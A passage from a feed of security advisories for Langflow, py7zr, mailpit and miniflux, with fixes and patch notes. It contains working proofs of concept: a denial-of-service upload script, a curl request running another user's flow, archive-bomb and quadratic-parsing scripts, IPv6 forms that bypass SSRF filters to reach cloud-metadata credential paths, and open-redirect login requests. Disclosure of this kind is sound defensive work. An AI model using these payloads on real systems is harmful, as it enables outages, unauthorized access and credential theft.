RAG.json](https://github.com/user-attachments/files/25159960/Vector.Store.RAG.json) - Exploit tar: [archive.tar.txt](https://github.com/user-attachments/files/25159954/archive.tar.txt) (remove .txt, GitHub blocked .tar) - Create a file `/tmp/trip.docx` with any contents in it - Ingest the file in the flow above, and ask the Chatbot a question about this file. A demo showing the attack: https://github.com/user-attachments/assets/af00f700-f13f-4eac-848e-8afd11fb9297 In the demo the attacker steals `Langflow` secret key used to sign JWTs. The second stage of the attack, not shown in the demo, is using this key to sign a JWT token and executing Python code on the server using the Python code interpreter node. ### Impact Any Langflow user using any of the above mentioned components to ingest user-controlled data is affected. Depending on exact scenario, the user can also be exposed to an RCE risk. ### Patches Fixed in **1.9.2** via PR [#12945](https://github.com/langflow-ai/langflow/pull/12945). `BaseFileComponent._unpack_bundle` now rejects symlink and hardlink members (and any non-regular entries) during TAR extraction, with additional defensive symlink filtering during directory recursion and after extraction. Upgrade to **1.9.2 or later**. Ori Lahav Security Researcher @ Rubrik Inc.

    9.6
    about 11 hours ago
  • ### Summary An attacker can send a `/api/v1/files/upload/` request without any authentication token/cookies and abuse a very long multipart form boundary to make the langflow app unusable for all users for an indefinite amount of time. ### Details https://github.com/langflow-ai/langflow/blob/v1.0.18/src/backend/base/langflow/api/v1/files.py#L40 The file upload function will try to process the multipart form data even if it is malformed and contains a payload such as an extremely large amount of hyphens after the boundary. It also does not do the authentication check before trying to process this data so an unauthenticated attacker can perform this as well as authenticated users. Additionally, an attacker doesn't even need to know a valid UUID of a flow to send this request because the server will still try to process the large boundary even with any random value in place of the flow ID. ### PoC An attacker makes this request to upload a file without valid authentication information or a valid flow ID: ``` POST /api/v1/files/upload/test HTTP/1.1 Host: 127.0.0.1:7860 Content-Length: 3000192 Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryorGBAKSkv5wR6WqJ Accept: application/json, text/plain, */* Origin: http://127.0.0.1:7860 Accept-Encoding: gzip, deflate, br Connection: keep-alive ------WebKitFormBoundaryorGBAKSkv5wR6WqJ Content-Disposition: form-data; name="file"; filename="dos.txt" Content-Type: text/plain DoS in progress! ------WebKitFormBoundaryorGBAKSkv5wR6WqJ------------<insert a large amount of hyphens such as 1,000,000> ``` Here is the request in python: ```python import requests url = "http://127.0.0.1:7860/api/v1/files/upload/test" headers = { "Content-Type": "multipart/form-data; boundary=---------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ" } data = ( "-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ\r\n" "Content-Disposition: form-data; name=\"file\"; filename=\"dos.txt\"\r\n" "Content-Type: text/plain\r\n\r\n" "DoS in progress\r\n" "-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ--" + '-' * 1000000 + "\r\n" ) response = requests.post(url, headers=headers, data=data) ``` The app will then be stuck in the "server is busy" state for all users: <img width="733" alt="image" src="https://github.com/user-attachments/assets/227169d8-f1b7-4072-8c09-e416e4808d05"> ### Impact Sending this request will result in the server being unusable for all users for an infinite amount of time because the request can be repeated as much as you want. ### Patches Fixed in **1.0.19** via PR [#3923](https://github.com/langflow-ai/langflow/pull/3923). A `check_boundary` HTTP middleware was added that validates the multipart boundary (`^[\w\-]{1,70}$`) and rejects malformed requests — including the oversized-hyphen payload — with `HTTP 422` **before** the body is parsed. The upload endpoint also gained an authentication and flow-ownership check (`get_current_active_user` + `403` on mismatch), closing the unauthenticated access vector. Upgrade to **1.0.19 or later**.

    7.5
    about 11 hours ago
  • ### Summary The logout button does not clear the session. The previous user stays logged in unless another user explicitly logs in. ### Details Not in auto login mode. Hosted on localhost. `access_token_lf` remains present in both Local Storage and Cookies. `refresh_token_lf` remains present in Cookies. **Root cause:** the `/logout` endpoint deleted the authentication cookies without matching the original `httponly`/`samesite`/`secure`/`domain` parameters, so the browser kept them; additionally the frontend did not clear the auth cookies on logout. ``` LANGFLOW_AUTO_LOGIN: "False" LANGFLOW_SUPERUSER: <set> LANGFLOW_SUPERUSER_PASSWORD: <set> LANGFLOW_SECRET_KEY: <set> LANGFLOW_NEW_USER_IS_ACTIVE: "False" LANGFLOW_ENABLE_SUPERUSER_CLI: "False" ``` ### PoC Click Logout. Hit refresh to return to previous screen. ### Impact Users on shared computers may falsely believe they have terminated their session. ### Patches Fixed in **1.7.0** (PRs #10527 and #10528). The logout endpoint now deletes the auth cookies using the same parameters they were created with, and the frontend clears the auth cookies on logout. Upgrade to **1.7.0 or later**.

    6.1
    about 11 hours ago
  • ## Summary Insecure Direct Object Reference (IDOR) vulnerability in `/api/v1/responses` endpoint allows an authenticated attacker to execute any flow belonging to another user by specifying the victim's flow ID in the request. ## Details The vulnerability exists in the `get_flow_by_id_or_endpoint_name` helper function in [`src/backend/base/langflow/helpers/flow.py` (lines 399-414)](https://github.com/langflow-ai/langflow/blob/v1.9.0/src/backend/base/langflow/helpers/flow.py#L399C1-L414C67). When a flow is accessed via UUID (flow_id), the function queries the database directly without verifying if the authenticated user owns that flow: ```python # src/backend/base/langflow/helpers/flow.py:399-414 async def get_flow_by_id_or_endpoint_name(flow_id_or_name: str, user_id: str | UUID | None = None) -> FlowRead: async with session_scope() as session: try: flow_id = UUID(flow_id_or_name) # When using UUID, query directly WITHOUT checking user_id flow = await session.get(Flow, flow_id) # ❌ No user_id check! except ValueError: endpoint_name = flow_id_or_name stmt = select(Flow).where(Flow.endpoint_name == endpoint_name) # Only when using endpoint_name is user_id checked if user_id: stmt = stmt.where(Flow.user_id == uuid_user_id) ``` This function is used by the `/api/v1/responses` endpoint (defined in [`src/backend/base/langflow/api/v1/openai_responses.py:589`](https://github.com/langflow-ai/langflow/blob/v1.9.0/src/backend/base/langflow/api/v1/openai_responses.py#L589)). ## PoC (Proof of Concept) ```bash # Attacker (user A) with API_KEY_A tries to execute victim (user B)'s flow curl -X POST "http://localhost:7860/api/v1/responses" \ -H "x-api-key: sk-ATTACKER_API_KEY" \ -H "Content-Type: application/json" \ -d '{ "model": "VICTIM_FLOW_ID", "input_value": "test", "stream": false }' # Returns 200 and executes the victim's flow ``` ## Impact Any authenticated user can: 1. Execute any flow in the system by knowing its flow ID 2. Access potentially sensitive data processed by victim's flows 3. Consume victim's resources ## Fixes Fixed in **PR #12832** (`fix(security): close IDOR in get_flow_by_id_or_endpoint_name`), merged 2026-04-22, released in **Langflow 1.9.1**. The helper normalizes `user_id` once and enforces ownership on **both** lookup branches (UUID *and* `endpoint_name`): ```python flow_id = UUID(flow_id_or_name) flow = await session.get(Flow, flow_id) if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id: flow = None # cross-user lookup falls through to the shared 404 ``` Key points: - Cross-user lookups return **404** (not 403), so flow existence is not disclosed via a 403-vs-404 oracle. - `/api/v1/responses` and `/api/v2/workflow` pass `user_id` explicitly, so fixing the helper closes them directly; the `/api/v1/run*` routes were additionally moved from a bare `Depends(get_flow_by_id_or_endpoint_name)` to auth-aware wrapper dependencies (defense in depth). - A malformed `user_id` now fails closed (404 instead of a raw 500). - Webhook routes intentionally keep the unscoped lookup (public by design / explicit ownership check elsewhere). - Regression tests cover the cross-user UUID case and reproduce the original PoC against `/api/v1/responses`. ## Acknowledgements Thanks to the security researchers who responsibly disclosed this vulnerability: * @yzeirnials * @johnatzeropath * @LeftenantZero * @Zwique

    9.9
    about 11 hours ago
  • ### Summary PackInfo._read() uses an O(n^2) cumulative sum pattern where numstreams is read directly from the archive header. A crafted .7z archive with a large numstreams value causes excessive CPU consumption during SevenZipFile.__init__() — no extraction is needed. A 50 KB archive takes ~7 seconds of CPU time. ### Details The vulnerable code is in PackInfo._read() (archiveinfo.py): self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)] numstreams is parsed from the archive header via read_uint64() and is attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the beginning, producing O(n^2) total work. This runs during header parsing in SevenZipFile.__init__(), before any extraction. Suggested fix — replace with O(n) cumulative sum: from itertools import accumulate self.packpositions = [0] + list(accumulate(self.packsizes)) ### PoC ``` import struct, io, binascii, time import py7zr from py7zr.archiveinfo import write_uint64, PROPERTY MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c' def encode_uint64(v): buf = io.BytesIO() write_uint64(buf, v) return buf.getvalue() def build_7z_with_streams(numstreams): header = io.BytesIO() header.write(PROPERTY.HEADER) header.write(PROPERTY.MAIN_STREAMS_INFO) header.write(PROPERTY.PACK_INFO) header.write(encode_uint64(0)) header.write(encode_uint64(numstreams)) header.write(PROPERTY.SIZE) for _ in range(numstreams): header.write(encode_uint64(1)) header.write(PROPERTY.END) header.write(PROPERTY.END) header.write(PROPERTY.END) header_data = header.getvalue() out = io.BytesIO() out.write(MAGIC) out.write(b'\x00\x04') next_crc = binascii.crc32(header_data) & 0xFFFFFFFF start_header = (struct.pack('<Q', 0) + struct.pack('<Q', len(header_data)) + struct.pack('<I', next_crc)) out.write(struct.pack('<I', binascii.crc32(start_header) & 0xFFFFFFFF)) out.write(start_header) out.write(header_data) return out.getvalue() for n in [1000, 5000, 10000, 30000, 50000]: archive = build_7z_with_streams(n) start = time.time() try: with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z: pass except Exception: # The crafted archive may later raise due to being malformed, # but the quadratic work has already been performed during # header parsing in SevenZipFile.__init__(). pass elapsed = time.time() - start print(f"n={n:6d} size={len(archive):8d} bytes time={elapsed:.3f}s") ``` Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64. Results: n= 1000 size= 1042 bytes time=0.004s n= 5000 size= 5042 bytes time=0.071s n= 10000 size= 10042 bytes time=0.291s n= 30000 size= 30043 bytes time=2.609s n= 50000 size= 50043 bytes time=7.097s ### Impact Denial of Service. Any application that opens .7z archives from untrusted sources using py7zr.SevenZipFile() can be caused to consume excessive CPU time with a small crafted archive. The quadratic cost occurs during header parsing, before any content extraction.

    about 11 hours ago
  • py7zr's `Worker.decompress()` extracts archive entries without tracking total decompressed size. A crafted `.7z` file can exhaust disk or memory before the extraction completes. Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio). **Proof of concept:** ```python import py7zr, tempfile, os # create bomb: compress 100MB of zeros into ~15KB bomb_path = tempfile.mktemp(suffix='.7z') with py7zr.SevenZipFile(bomb_path, 'w') as z: import io z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin') print(f'archive size: {os.path.getsize(bomb_path):,} bytes') # extract — no size check with py7zr.SevenZipFile(bomb_path, 'r') as z: z.extractall(path=tempfile.mkdtemp()) print('extracted 100 MB from ~15 KB archive') ``` **Root cause:** `Worker.decompress()` in `py7zr/worker.py` writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's `zipfile` `max_size` parameter. **Fix:** track cumulative decompressed bytes and raise before writing if a limit is exceeded: ```python MAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable total = 0 for chunk in decompressed_chunks: total += len(chunk) if total > MAX_EXTRACT_SIZE: raise py7zr.exceptions.DecompressionBombError( f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes' ) outfile.write(chunk) ``` Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.

    about 11 hours ago
  • ## Summary The remediation shipped in mailpit v1.29.2 for [GHSA-mpf7-p9x7-96r3](https://github.com/axllent/mailpit/security/advisories/GHSA-mpf7-p9x7-96r3) (CVE-2026-27808) is incomplete. The `tools.IsInternalIP` deny-list relies on Go's stdlib classification helpers (`IsLoopback`, `IsPrivate`, `IsLinkLocalUnicast`, `IsLinkLocalMulticast`, `IsUnspecified`, `IsMulticast`) plus an inline CGNAT range, but those helpers do **not** match two classes of IPv6 address that should be blocked for SSRF purposes: 1. **IPv6 forms that embed an IPv4 destination via documented translation mechanisms** — 6to4, NAT64, IPv4-compatible IPv6, ISATAP, or (in older Go versions) IPv4-mapped IPv6. These let an attacker reach internal IPv4 destinations by supplying an IPv6 literal that encodes the desired IPv4. 2. **IPv6 prefixes that fall outside the narrow private/loopback/link-local ranges Go's stdlib classifies** — specifically the deprecated site-local prefix `fec0::/10` (RFC 3879/4291) and the documentation prefix `2001:db8::/32` (RFC 3849). The first is still routable on dual-stack hosts and is cited as a bypass form in [CVE-2026-44430](https://advisories.gitlab.com/golang/github.com/modelcontextprotocol/registry/CVE-2026-44430/); the second should never appear in real network traffic and is safe to block as fail-safe behavior. Together these gaps let the Link Check API be coerced into dialing internal destinations that the v1.29.2 fix was intended to block. This is the same bug class as [GHSA-56c3-vfp2-5qqj / CVE-2026-44430 (MCP Registry)](https://advisories.gitlab.com/golang/github.com/modelcontextprotocol/registry/CVE-2026-44430/) and [GHSA-86m8-88fq-xfxp / CVE-2026-45741 (Gotenberg)](https://advisories.gitlab.com/golang/github.com/gotenberg/gotenberg/v8/CVE-2026-45741/) — projects that, like mailpit, built their SSRF deny-list around Go's stdlib `Is*` family and discovered the resulting bypass post-disclosure. The underlying ecosystem-wide issue is tracked upstream at [**golang/go#79925**](https://github.com/golang/go/issues/79925), which proposes extending `net.IP.IsPrivate` to handle these IPv6 transition forms. Until that lands, every Go project that wants comprehensive SSRF protection has to implement the decoding itself — which is exactly the gap that produced this advisory and the three CVEs in adjacent projects cited above. ## Affected versions - mailpit `v1.29.2` and later HEAD — the GHSA-mpf7-p9x7-96r3 fix is in place but [`tools.IsInternalIP`](https://github.com/axllent/mailpit/blob/a68499fa4e8874d414921fbd520e181dc92a39d7/internal/tools/net.go#L25-L34) does not cover the IPv6 forms enumerated below. - Pre-`v1.29.2` versions remain vulnerable to the original advisory. ## Vulnerable code [`internal/tools/net.go` L25-L34](https://github.com/axllent/mailpit/blob/a68499fa4e8874d414921fbd520e181dc92a39d7/internal/tools/net.go#L25-L34) — `IsInternalIP`: ```go func IsInternalIP(ip net.IP) bool { return ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() || ip.IsUnspecified() || ip.IsMulticast() || cgnatRange.Contains(ip) } ``` [`internal/linkcheck/status.go` L140-L163](https://github.com/axllent/mailpit/blob/a68499fa4e8874d414921fbd520e181dc92a39d7/internal/linkcheck/status.go#L140-L163) — `safeDialContext` calls `IsInternalIP` on resolved IPs before dialing, but only blocks when one of the seven predicates above fires. For each of the following bypass forms, `net.IP.IsLoopback`, `IsPrivate`, `IsLinkLocalUnicast`, `IsLinkLocalMulticast`, `IsUnspecified`, `IsMulticast`, and the CGNAT range check all return `false` — so the dial proceeds: **IPv4-embedded-in-IPv6 forms** (each carries an IPv4 destination via a documented translation prefix): | Bypass IPv6 literal | Decoded IPv4 destination | RFC | |---|---|---| | `64:ff9b::a9fe:a9fe` | `169.254.169.254` (AWS / GCP / Azure metadata) | RFC 6052 — NAT64 well-known prefix | | `64:ff9b:1::a9fe:a9fe` | `169.254.169.254` | RFC 8215 — NAT64 local-use | | `2002:a9fe:a9fe::` | `169.254.169.254` | RFC 3056 — 6to4 | | `::a9fe:a9fe` | `169.254.169.254` | RFC 4291 §2.5.5.1 — IPv4-compatible IPv6 | | `64:ff9b::7f00:1` | `127.0.0.1` | RFC 6052 (loopback via NAT64) | | `2002:0a00:0001::` | `10.0.0.1` | RFC 3056 (RFC 1918 via 6to4) | | `<any-prefix>:5efe:<ipv4>` | `<ipv4>` (e.g. `2001:db8::5efe:7f00:1` → `127.0.0.1`) | RFC 5214 — ISATAP | **Direct IPv6 prefixes not classified by the stdlib `Is*` family:** | Bypass IPv6 literal | What it is | RFC | |---|---|---| | `fec0::1` (any address in `fec0::/10`) | Deprecated site-local — still routable on dual-stack hosts | RFC 3879 (deprecation) / RFC 4291 §2.5.7 | | `2001:db8::1` (any address in `2001:db8::/32`) | Documentation prefix — should never appear on the wire | RFC 3849 | `IsInternalIP` returns `false` for every entry in both tables. The original advisory's stated mitigations *do* hold against the embedded-IPv4 forms in the narrow case where the IPv6 literal is `::ffff:<ipv4>` (IPv4-mapped), because Go's `net.IP.To4()` normalizes that form and the stdlib `Is*` methods then check the embedded IPv4. This was the partial fix shipped in [Go 1.22.4 / CVE-2024-24790](https://pkg.go.dev/vuln/GO-2024-2887). But it does not extend to 6to4, NAT64, IPv4-compatible, or ISATAP forms — those require explicit decoding that neither Go's stdlib nor `IsInternalIP` performs. The direct prefixes (`fec0::/10`, `2001:db8::/32`) likewise are simply outside the scope of any Go stdlib `Is*` method. ## Proof of Concept The repro depends on environment-specific routing for the embedded IPv4 destination. The forms below all *pass* the `safeDialContext` check on a stock mailpit v1.29.2 — they will not be blocked by the SSRF deny-list. Whether they connect successfully depends on whether the host's network has NAT64 / 6to4 routing to reach the embedded IPv4. ### Unit-test repro (no network dependency) The most defensible PoC is a unit test against `IsInternalIP` itself — it demonstrates the deny-list gap directly without depending on the test environment routing the bypass IPs: ```go // internal/tools/net_ssrf_test.go package tools import ( "net" "testing" ) func TestIsInternalIP_UncoveredIPv6Forms(t *testing.T) { cases := map[string]net.IP{ // IPv4-embedded-in-IPv6 forms. "NAT64 well-known wrapping AWS IMDS (RFC 6052)": net.ParseIP("64:ff9b::a9fe:a9fe"), "NAT64 local-use wrapping AWS IMDS (RFC 8215)": net.ParseIP("64:ff9b:1::a9fe:a9fe"), "6to4 wrapping AWS IMDS (RFC 3056)": net.ParseIP("2002:a9fe:a9fe::"), "IPv4-compatible IPv6 wrapping AWS IMDS (RFC 4291)": net.ParseIP("::a9fe:a9fe"), "NAT64 wrapping loopback (RFC 6052)": net.ParseIP("64:ff9b::7f00:1"), "6to4 wrapping RFC 1918 (RFC 3056)": net.ParseIP("2002:0a00:0001::"), "ISATAP wrapping AWS IMDS (RFC 5214)": net.ParseIP("2001:db8::5efe:a9fe:a9fe"), // Direct IPv6 prefixes outside the stdlib Is* family. "Deprecated site-local fec0::/10 (RFC 3879/4291)": net.ParseIP("fec0::1"), "Documentation prefix 2001:db8::/32 (RFC 3849)": net.ParseIP("2001:db8::1"), } for name, ip := range cases { t.Run(name, func(t *testing.T) { if !IsInternalIP(ip) { t.Errorf("IsInternalIP(%s) = false — SSRF deny-list bypass", ip) } }) } } ``` Run with: ``` go test ./internal/tools/ -run TestIsInternalIP_UncoveredIPv6Forms ``` On v1.29.2 every subtest fails. Each failure is a documented bypass. ### End-to-end repro In an environment where the embedded IPv4 destination is reachable (e.g. a host whose network provides NAT64 to RFC 1918 / link-local): 1. Send a crafted email to mailpit's SMTP listener containing an `<a href>` with a bypass URL: ```html <a href="http://[64:ff9b::a9fe:a9fe]/latest/meta-data/iam/security-credentials/">link</a> ``` 2. `POST /api/v1/message/{ID}/link-check`. 3. Observe the `doHead` HTTP HEAD response status — non-zero status (success or specific error) confirms the dial reached the destination rather than being blocked by `IsInternalIP`. In environments without NAT64 / 6to4 routing the connection will time out, but the absence of a `private/reserved address` blocked response confirms the deny-list bypass logically; the unit test above is the canonical PoC. ## Impact Identical scope and severity model to the original GHSA-mpf7-p9x7-96r3: - The link-check API is reachable in mailpit's default deploy without authentication (no `--ui-auth`, no `--smtp-auth` required). - An attacker who can deliver email to the mailpit SMTP listener (often unauthenticated in default config) and invoke the link-check API can probe internal services using any of the uncovered IPv6 forms above — either via the embedded-IPv4 mechanisms to reach IPv4 destinations like cloud metadata endpoints (`169.254.169.254`, `168.63.129.16`), or by addressing a routable IPv6 service via `fec0::/10` directly. - The status-code-and-error feedback exposed by the link-check API leaks reachability information per probe. - Damage ceiling is bounded by the mailpit response shape (status code, status text, `451 Blocked private/reserved address` sentinel) — no response body is exposed — but reachability + status-code mapping is sufficient for service discovery and for confirming cloud-metadata service identity. - **Scope note:** `tools.IsInternalIP` is also used by the screenshot-proxy and HTML-Check-API endpoints (per maintainer disclosure). The same deny-list bypass applies to dialer decisions in those paths, but they include additional checks that mute the impact. The Link Check API remains the most revealing because its response includes the HTTP status code from the dialed destination; the other two are less directly leaky. **Severity:** Moderate, mirroring the original advisory (CVSS 5.8). ## Suggested remediation The fix has two parts: 1. **For the IPv4-embedded-in-IPv6 forms:** decode the embedded IPv4 and re-check it. This is the same pattern [Python's `ipaddress.is_private` implemented in 3.13](https://docs.python.org/3/library/ipaddress.html), what [`code.dny.dev/ssrf`](https://pkg.go.dev/code.dny.dev/ssrf) (IANA Special Purpose Registry-driven, auto-synced) implements out-of-the-box, and the behavior change being proposed for Go's stdlib at [golang/go#79925](https://github.com/golang/go/issues/79925). 2. **For the direct IPv6 prefixes:** add them to the first range check alongside `cgnatRange.Contains`. Reference implementation (extends the existing helper, keeps the call-site contract identical): ```go // internal/tools/net.go package tools import ( "encoding/binary" "net" ) var ( cgnatRange = mustCIDR("100.64.0.0/10") // RFC 6598 deprecatedSiteLocal = mustCIDR("fec0::/10") // RFC 3879 / 4291 documentationPrefix = mustCIDR("2001:db8::/32") // RFC 3849 nat64WellKnown = mustCIDR("64:ff9b::/96") // RFC 6052 nat64LocalUse = mustCIDR("64:ff9b:1::/48") // RFC 8215 sixToFour = mustCIDR("2002::/16") // RFC 3056 teredo = mustCIDR("2001::/32") // RFC 4380 ipv4Compatible = mustCIDR("::/96") // RFC 4291 §2.5.5.1 ipv4Mapped = mustCIDR("::ffff:0:0/96") // RFC 4291 §2.5.5.2 ) func mustCIDR(s string) *net.IPNet { _, n, err := net.ParseCIDR(s) if err != nil { panic(err) } return n } // IsInternalIP reports whether ip should be blocked as a connection target. // Covers the stdlib Is* checks plus CGNAT, plus IPv6 forms outside the // stdlib's scope (deprecated site-local, documentation prefix, and the // IPv6 transition mechanisms whose embedded IPv4 is itself internal). func IsInternalIP(ip net.IP) bool { if ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() || ip.IsUnspecified() || ip.IsMulticast() || cgnatRange.Contains(ip) || deprecatedSiteLocal.Contains(ip) || documentationPrefix.Contains(ip) { return true } if embedded, ok := embeddedIPv4(ip); ok { return IsInternalIP(embedded) } return false } // embeddedIPv4 returns the IPv4 destination encoded in ip, if ip is an // IPv6 form documented to carry an embedded IPv4 destination. func embeddedIPv4(ip net.IP) (net.IP, bool) { // Skip IPv4 / IPv4-mapped IPv6 — covered by the stdlib Is* checks via To4. if ip.To4() != nil { return nil, false } ip16 := ip.To16() if ip16 == nil || len(ip16) != net.IPv6len { return nil, false } switch { case nat64WellKnown.Contains(ip16), nat64LocalUse.Contains(ip16), ipv4Compatible.Contains(ip16): // Last 32 bits are the embedded IPv4. return net.IPv4(ip16[12], ip16[13], ip16[14], ip16[15]).To4(), true case sixToFour.Contains(ip16): // Bits 16..47 are the embedded IPv4. return net.IPv4(ip16[2], ip16[3], ip16[4], ip16[5]).To4(), true case teredo.Contains(ip16): // Bits 96..127 are the embedded IPv4 XOR'd with 0xFFFFFFFF. x := binary.BigEndian.Uint32(ip16[12:16]) ^ 0xFFFFFFFF b := make([]byte, 4) binary.BigEndian.PutUint32(b, x) return net.IPv4(b[0], b[1], b[2], b[3]).To4(), true case ip16[10] == 0x5e && ip16[11] == 0xfe: // ISATAP (RFC 5214) — interface identifier ends with :5efe:<ipv4>. // Match structurally on bytes 10-11; the /64 prefix is not fixed. // Must run after the fixed-prefix cases above (Teredo can legitimately // have 5efe in bytes 10-11; its embedding takes precedence). return net.IPv4(ip16[12], ip16[13], ip16[14], ip16[15]).To4(), true } return nil, false } ``` This covers every bypass in the two tables above. The direct-prefix additions (`deprecatedSiteLocal`, `documentationPrefix`) are two lines in the first if-block; the embedded-IPv4 decoder is the substantive new function. **Alternative — adopt a comprehensive library:** Replace the hand-rolled deny-list with [`code.dny.dev/ssrf`](https://pkg.go.dev/code.dny.dev/ssrf), which generates its IPv4 and IPv6 prefix lists from the IANA Special Purpose Registries via a bi-monthly auto-sync. This protects against future RFCs adding new transition forms without requiring further mailpit maintenance. ## References - Original advisory: [GHSA-mpf7-p9x7-96r3 / CVE-2026-27808](https://github.com/axllent/mailpit/security/advisories/GHSA-mpf7-p9x7-96r3) - Vulnerable function: [`internal/tools/net.go#L25-L34` — `IsInternalIP`](https://github.com/axllent/mailpit/blob/a68499fa4e8874d414921fbd520e181dc92a39d7/internal/tools/net.go#L25-L34) - Caller: [`internal/linkcheck/status.go#L140-L163` — `safeDialContext`](https://github.com/axllent/mailpit/blob/a68499fa4e8874d414921fbd520e181dc92a39d7/internal/linkcheck/status.go#L140-L163) - Upstream Go-stdlib issue tracking the root cause: [**golang/go#79925**](https://github.com/golang/go/issues/79925) — proposal to extend `net.IP.IsPrivate` semantics and improve documentation - Related: same bypass class in other Go projects — [GHSA-56c3-vfp2-5qqj / CVE-2026-44430](https://advisories.gitlab.com/golang/github.com/modelcontextprotocol/registry/CVE-2026-44430/), [GHSA-86m8-88fq-xfxp / CVE-2026-45741](https://advisories.gitlab.com/golang/github.com/gotenberg/gotenberg/v8/CVE-2026-45741/) - Go stdlib design context: [Damien Neil's comment](https://github.com/golang/go/issues/76067#issuecomment-3506705688) ("`IsPrivate` was a mistake. Just about every use of it that I've seen seems to misuse it.") - Python stdlib reference: [`ipaddress.is_private` 3.13 docs](https://docs.python.org/3/library/ipaddress.html) — covers 6to4, NAT64 explicitly - Comprehensive Go library: [`code.dny.dev/ssrf`](https://pkg.go.dev/code.dny.dev/ssrf) — IANA-registry-driven - RFCs: 3056 (6to4), 4380 (Teredo), 6052 (NAT64), 8215 (NAT64 local-use), 4291 (IPv6 addressing including IPv4-mapped/compatible), 5214 (ISATAP), 3879 (site-local deprecation), 3849 (documentation prefix)

    5.8
    about 11 hours ago
  • ### Summary The URL restrictions in `miniflux-v2` can be bypassed by attackers, leading to an open redirect vulnerability. ### Details Normally, the redirect URL needs to be validated using `IsRelativePath`. <img width="1728" height="1386" alt="QQ20260526-175356-26-1" src="https://github.com/user-attachments/assets/b481845a-8744-41f7-b27a-526c7ac92e03" /> There are some security measures in place, such as requiring relative paths, prohibiting host and schema entries, and rejecting proof-of-concept (PoC) entries like `//fushuling.com`. However, these measures can still be bypassed. <img width="1911" height="804" alt="QQ20260526-175836-26-2" src="https://github.com/user-attachments/assets/90353c7f-7247-4453-a781-159361de13d6" /> For a proof-of-concept (PoC) like `/\fushuling.com`, it lacks host and netloc fields and doesn't start with `//`, but during the actual browser redirection, the backslash is automatically parsed as a forward slash, ultimately redirecting to the external address `https://fushuling.com`, thus bypassing existing protections. For PoCs like `//fushuling.com`, the existing logic successfully detects and resolves to `/unread`, effectively preventing attacks. ``` POST /login HTTP/1.1 Host: 127.0.0.1:8081 Content-Length: 92 Cache-Control: max-age=0 sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: null Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: cw_conversation=eyJhbGciOiJIUzI1NiJ9.eyJzb3VyY2VfaWQiOiI1NTlhZGZkNS0wMTMxLTRjOWUtYjJmMi1kZTQ4YzFmMzUwODMiLCJpbmJveF9pZCI6NTI3NTUsImV4cCI6MTc5MTk3MzU4OCwiaWF0IjoxNzc2NDIxNTg4fQ._8EAAv62saWBzO54yUJCbASbjbrNdMsYEC49blqJwQM; casdoor_session_id=cc333aee41d646565c1bde0bba532991; SSID=EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.KKPgzj5eEsDglYQXFeERpo7F97-phtpOsQL0Sh9e_EA; sid=Q5hex9PpdqFKeVL41zT4W9DqyBnMJhVO; MinifluxSessionID=F5GAIDVFDZVTOTOWBLWKXCRNIE.HUQLKF4BMK42KUAM3N2VK4MA45 Connection: close csrf=CYJ2SHTG7AYLMFW6TMTLRR4K54&redirect_url=//fushuling.com&username=admin&password=test123 ``` <img width="1773" height="894" alt="QQ20260526-180410-26-3" src="https://github.com/user-attachments/assets/19e532ad-e366-4eb8-a08e-7b1de02edc7b" /> However, when the attacker specified the redirect URL as `/\fushuling.com`, the URL successfully bypassed the detection and set the location to /\fushuling.com. ``` POST /login HTTP/1.1 Host: 127.0.0.1:8081 Content-Length: 92 Cache-Control: max-age=0 sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: null Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: cw_conversation=eyJhbGciOiJIUzI1NiJ9.eyJzb3VyY2VfaWQiOiI1NTlhZGZkNS0wMTMxLTRjOWUtYjJmMi1kZTQ4YzFmMzUwODMiLCJpbmJveF9pZCI6NTI3NTUsImV4cCI6MTc5MTk3MzU4OCwiaWF0IjoxNzc2NDIxNTg4fQ._8EAAv62saWBzO54yUJCbASbjbrNdMsYEC49blqJwQM; 